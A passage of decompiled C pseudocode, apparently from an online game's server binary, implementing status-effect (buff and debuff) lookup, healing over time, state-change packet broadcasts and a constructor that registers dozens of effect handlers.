(*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); // 5E68F4: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00403890) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate) { AbnormalStateContainer::AbnormalStatePartyEnchant *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_6158F0, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_61527C >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_615274 + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } v3->aspe_SkillIndex[sub] = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 ) { v3->aspe_Soul[sub] = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } } return result; } //----- (004039D0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 int v3; // eax@1 char result; // al@2 int v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&unk_6158F0, substate); if ( v3 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } else { v3 = (unsigned __int16)v3; if ( unk_61527C >= (unsigned int)(unsigned __int16)v3 ) { v5 = unk_615274 + 728 * v3; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); v5 = 0; } v2->asgame_SkillIndex = (AbnormalStateDictionary::AbState::AbStateStr *)v5; if ( v5 ) { v2->asgame_Soul = *(_DWORD *)(*(_DWORD *)v5 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } } return result; } //----- (00403B10) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #325 *me) { AbnormalStateContainer::AbnormalStateElement *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( me && *((_DWORD *)&abstateidentarray + 3 * v2->ase_index) ) (*(void (__stdcall **)(_DWORD))(**((_DWORD **)&abstateidentarray + 3 * v2->ase_index) + 36))(me); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); } //----- (00403BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#325 *this, int a2, ABSTATEINDEX dam) { void *v3; // esi@1 unsigned int v4; // eax@1 int v5; // edi@1 int v6; // eax@1 char *v7; // edi@1 int v8; // ST04_4@1 int v9; // eax@1 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@1 int v11; // [sp+34h] [bp-4h]@1 __int16 abs; // [sp+44h] [bp+Ch]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v4 = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_HPSPRECOVERYRATE); (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v3 + 1232))(v3, dam * v4 / 0x3E8); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1556))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3) - v5; v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9276; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = v6; *((_WORD *)v7 + 4) = 0; *((_WORD *)v7 + 5) = abs; *((_WORD *)v7 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1932))(v3); v7[14] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); v8 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v11) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v9, v8, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v11) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); } //----- (00403D20) -------------------------------------------------------- #error "403D20: undefined or illegal type '#325' (funcsize=40)" //----- (00403DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength) { void *v4; // esi@1 char *v5; // eax@1 __int16 v6; // dx@1 int v7; // ST14_4@1 int v8; // eax@1 char *v9; // eax@1 int v10; // ST14_4@1 int v11; // eax@1 AxialListPacketBroadcast alchat; // [sp+38h] [bp-18h]@1 int v13; // [sp+4Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9255; v6 = *((_WORD *)v4 + 2); v13 = 0; *((_WORD *)v5 + 1) = v6; *((_DWORD *)v5 + 1) = abstate; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v7 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7192; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v9 + 2) = keeptime; *((_DWORD *)v9 + 1) = abstate; *((_DWORD *)v9 + 3) = strength; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 2; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); } //----- (00403F40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate) { void *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v8; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9256; v4 = *((_WORD *)v2 + 2); *((_DWORD *)v3 + 1) = abstate; v8 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); } //----- (00404040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (42 - (effect != 0)) & 0x3FF | 0x2400; *(_DWORD *)(v5 + 6) = keeptime; *(_DWORD *)(v5 + 2) = abstate; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); } //----- (00404140) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this) { AbnormalStateContainer::ActorCluster *v1; // esi@1 char *v2; // ebx@1 int v3; // edi@1 v1 = this; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateFear::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_; this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_; v2 = (char *)this->ac_SubStateList; memset(this->ac_SubStateList, 0, sizeof(this->ac_SubStateList)); v1->ac_SubStateList[1] = &v1->ac_STRPLUS; v1->ac_SubStateList[2] = &v1->ac_WCPLUS; v1->ac_SubStateList[3] = &v1->ac_WCRATE; v1->ac_SubStateList[4] = &v1->ac_ACPLUS; v1->ac_SubStateList[5] = &v1->ac_ACRATE; v1->ac_SubStateList[6] = &v1->ac_DEXPLUS; v1->ac_SubStateList[7] = &v1->ac_TBPLUS; v1->ac_SubStateList[8] = &v1->ac_TBRATE; v1->ac_SubStateList[9] = &v1->ac_THPLUS; v1->ac_SubStateList[10] = &v1->ac_THRATE; v1->ac_SubStateList[11] = &v1->ac_INTPLUS; v1->ac_SubStateList[12] = &v1->ac_MAPLUS; v1->ac_SubStateList[13] = &v1->ac_MENPLUS; v1->ac_SubStateList[14] = &v1->ac_MRPLUS; v1->ac_SubStateList[15] = &v1->ac_MRRATE; v1->ac_SubStateList[16] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DAMAGESHIELD; v1->ac_SubStateList[17] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MANASHIELD; v1->ac_SubStateList[18] = &v1->ac_SHIELDACRATE; v1->ac_SubStateList[19] = &v1->ac_MOVESPEED; v1->ac_SubStateList[20] = &v1->ac_ATKSPEED; v1->ac_SubStateList[21] = &v1->ac_STUN; v1->ac_SubStateList[22] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BLOODING; v1->ac_SubStateList[23] = &v1->ac_ENTANGLE; v1->ac_SubStateList[24] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPRATE; v1->ac_SubStateList[25] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPRATE; v1->ac_SubStateList[26] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DEADHPSPRECOVRATE; v1->ac_SubStateList[27] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DOTDAMAGE; v1->ac_SubStateList[28] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_FEAR; v1->ac_SubStateList[29] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHEAL; v1->ac_SubStateList[30] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CASTINGTIMEPLUS; v1->ac_SubStateList[31] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_COOLTIMEREMOVE; v1->ac_SubStateList[32] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAGICATTACKNOUSE; v1->ac_SubStateList[34] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DISEASE; v1->ac_SubStateList[35] = &v1->ac_CURSE; v1->ac_SubStateList[36] = &v1->ac_REGIST; v1->ac_SubStateList[37] = &v1->ac_CRITICALRATE; v1->ac_SubStateList[38] = &v1->ac_DEFAULT; this->ac_SubStateList[0] = &this->ac_STRRATE; this->ac_SubStateList[33] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[39] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPPLUS; v1->ac_SubStateList[40] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPPLUS; v1->ac_SubStateList[41] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONSPHEAL; v1->ac_SubStateList[42] = &v1->ac_QUESTSTUN; v1->ac_SubStateList[43] = &v1->ac_WCMINUS; v1->ac_SubStateList[44] = &v1->ac_DEXMINUS; v1->ac_SubStateList[45] = &v1->ac_ACMINUS; v1->ac_SubStateList[46] = &v1->ac_MRMINUS; v1->ac_SubStateList[47] = &v1->ac_STRMINUS; v1->ac_SubStateList[48] = &v1->ac_THMINUS; v1->ac_SubStateList[49] = &v1->ac_TBMINUS; v1->ac_SubStateList[50] = &v1->ac_CURSEMR; v1->ac_SubStateList[51] = &v1->ac_CURSETH; v1->ac_SubStateList[52] = &v1->ac_CURSEAC; v1->ac_SubStateList[53] = &v1->ac_CURSETB; v1->ac_SubStateList[54] = &v1->ac_CURSEDEX; v1->ac_SubStateList[55] = &v1->ac_CURSEWC; v1->ac_SubStateList[56] = &v1->ac_INTRATE; v1->ac_SubStateList[57] = &v1->ac_CURSECRITICAL; v1->ac_SubStateList[59] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_RANGESHIELDCOUNTER; v1->ac_SubStateList[60] = &v1->ac_HIDE; v1->ac_SubStateList[58] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_SELFREVIVE; v1->ac_SubStateList[61] = &v1->ac_BLIND; v1->ac_SubStateList[62] = &v1->ac_DEADLYBLESSING; v1->ac_SubStateList[63] = &v1->ac_GUILDBUFACL; v1->ac_SubStateList[65] = &v1->ac_QUESTENTANGLE; 